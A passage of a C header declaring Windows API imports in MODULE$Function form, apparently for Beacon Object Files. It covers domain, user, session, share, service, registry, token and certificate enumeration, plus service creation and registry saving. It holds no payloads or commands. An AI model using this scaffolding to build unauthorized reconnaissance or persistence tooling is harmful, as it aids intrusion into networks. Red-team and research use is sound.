WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);
DECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);
DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle);
DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle);
DECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim);
_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str,const char *_Delim,char **_Context);
WINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char * __restrict__ _Str,char ** __restrict__ _EndPtr,int _Radix);
WINBASEAPI size_t __cdecl MSVCRT$strftime(char *_DstBuf,size_t _SizeInBytes,const char *_Format,const struct tm *_Tm);
WINBASEAPI struct tm * __cdecl MSVCRT$gmtime(const time_t *_Time);
WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count);

//DNSAPI
DECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*);
DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);

//WSOCK32
DECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp);

//NETAPI32
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr);
WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries);
WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);
WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);
WINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle);
WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer);
WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);
WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle);
WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err);
WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle);
WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);
WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle);
WINBASEAPI DWORD WINAPI NETAPI32$NetWkstaUserEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resumehandle);
WINBASEAPI DWORD WINAPI NETAPI32$NetWkstaGetInfo(LMSTR servername,DWORD level,LPBYTE *bufptr);
WINBASEAPI DWORD WINAPI NETAPI32$NetStatisticsGet(LMSTR server,LMSTR service,DWORD level,DWORD options,LPBYTE *bufptr);
WINBASEAPI DWORD WINAPI NETAPI32$NetRemoteTOD(LPCWSTR UncServerName,LPBYTE  *BufferPtr);

//mpr
WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum);
WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize);
WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum);
WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);
WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength);
WINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem);
WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName,	LPDWORD lpnLength);
WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags);
WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce);

//user32
WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam);
WINUSERAPI int WINAPI USER32$IsWindowVisible (HWND hWnd);
WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount);
WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount);
WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent);
WINUSERAPI HWND WINAPI USER32$FindWindowExA (HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass, LPCSTR lpszWindow);
WINUSERAPI LRESULT WINAPI USER32$SendMessageA (HWND hwnd, UINT Msg, WPARAM wParam, LPARAM lParam);
WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND  hWnd, LPSTR lpString, int nMaxCount);
WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName, int nMaxCount);
WINUSERAPI BOOL WINAPI USER32$EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam);

//secur32
WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize);

//shlwapi
WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch);
WINBASEAPI int WINAPI SHLWAPI$SHFormatDateTimeA(const FILETIME *pft, DWORD *pdwFlags, LPSTR *pszBuf, UINT cchBuf);

//advapi32
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(LPCWSTR StringSecurityDescriptor,DWORD StringSDRevision,PSECURITY_DESCRIPTOR *SecurityDescriptor,PULONG SecurityDescriptorSize);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId);
WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);
WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess);
WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus);
WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded);
WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject);
WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName);
WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);
WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded);
WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo);
WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName);
WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword);
WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService);
WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);
WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR pszGroupName);
WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);
WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData);
WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);
WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult);
WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);
WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition);
WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved);
WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName);
WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);
WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime);
WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);
WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime);
WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName);
WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData);
WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid);
WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping);
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);
WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);
WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors);
WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus);
WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned);
WINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);

//NTDLL
WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);
WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle);
WINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG OutputBufferLength);

//IMAGEHLP
WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount);
WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader);
WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength);

//crypt32
WINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert);
WINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString);
WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded);
WINIMPM WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext);
WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData);
WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain (HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext);
WINIMPM VOID WINAPI CRYPT32$CertFreeCertificateChain (PCCERT_CHAIN_CONTEXT pChainContext);
WINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo (DWORD dwKeyType, void *pvKey, DWORD dwGroupId);

//WS2_32
// defining this here to avoid including ws2tcpip.h which results in include order warnings when bofs include windows.h before bofdefs.h
typedef struct addrinfo {
    int ai_flags;
    int ai_family;
    int ai_socktype;
    int ai_protocol;
    size_t ai_addrlen;
    char *ai_canonname;
    struct sockaddr *ai_addr;
    struct addrinfo *ai_next;
} ADDRINFOA,*PADDRINFOA;

//WS2_32
DECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock, const struct sockaddr* name, int namelen);
DECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock);
DECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo* ai);
DECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char* host, char* port, const struct addrinfo* hints, struct addrinfo** result);
DECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong);
DECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort);
DECLSPEC_IMPORT char * __stdcall WS2_32$inet_ntoa(struct in_addr in);
DECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd, u_long* arg);
DECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout);
DECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);
DECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock, struct fd_set* fdset);
DECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError();
DECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze);
DECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr);

//dnsapi
DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);
DECLSPEC_IMPORT int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data);

//OLE32
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize (void);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid);
DECLSPEC_IMPORT int     WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax);
DECLSPEC_IMPORT	HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);
DECLSPEC_IMPORT LPVOID	WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb);
DECLSPEC_IMPORT void	WINAPI OLE32$CoTaskMemFree(LPVOID pv);

//OLEAUT32
DECLSPEC_IMPORT BSTR	WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
DECLSPEC_IMPORT INT		WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *);
DECLSPEC_IMPORT void	WINAPI OLEAUT32$SysFreeString(BSTR);
DECLSPEC_IMPORT UINT	WINAPI OLEAUT32$SysStringLen(BSTR);
DECLSPEC_IMPORT void	WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
DECLSPEC_IMPORT void	WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SysAddRefString(BSTR);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt);
DECLSPEC_IMPORT void	WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut);
DECLSPEC_IMPORT void	WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv);
DECLSPEC_IMPORT UINT	WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa,void HUGEP **ppvData);
DECLSPEC_IMPORT HRESULT	WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa);








//CERTCLI
/*
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumFirstCA(IN LPCWSTR wszScope, IN DWORD dwFlags, OUT LPVOID * phCAInfo);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCA(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCA(IN LPVOID hCA);
DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCAs(IN LPVOID hCAInfo);
DECLSPEC_IMPORT LPCWSTR WINAPI CERTCLI$CAGetDN(IN LPVOID hCAInfo);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAProperty(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCAProperty(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAFlags(IN LPVOID hCAInfo, OUT DWORD  *pdwFlags);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCACertificate(IN LPVOID hCAInfo, OUT PCCERT_CONTEXT *ppCert);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAExpiration(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT DWORD * pdwUnits);
DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCASecurity(IN LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD);
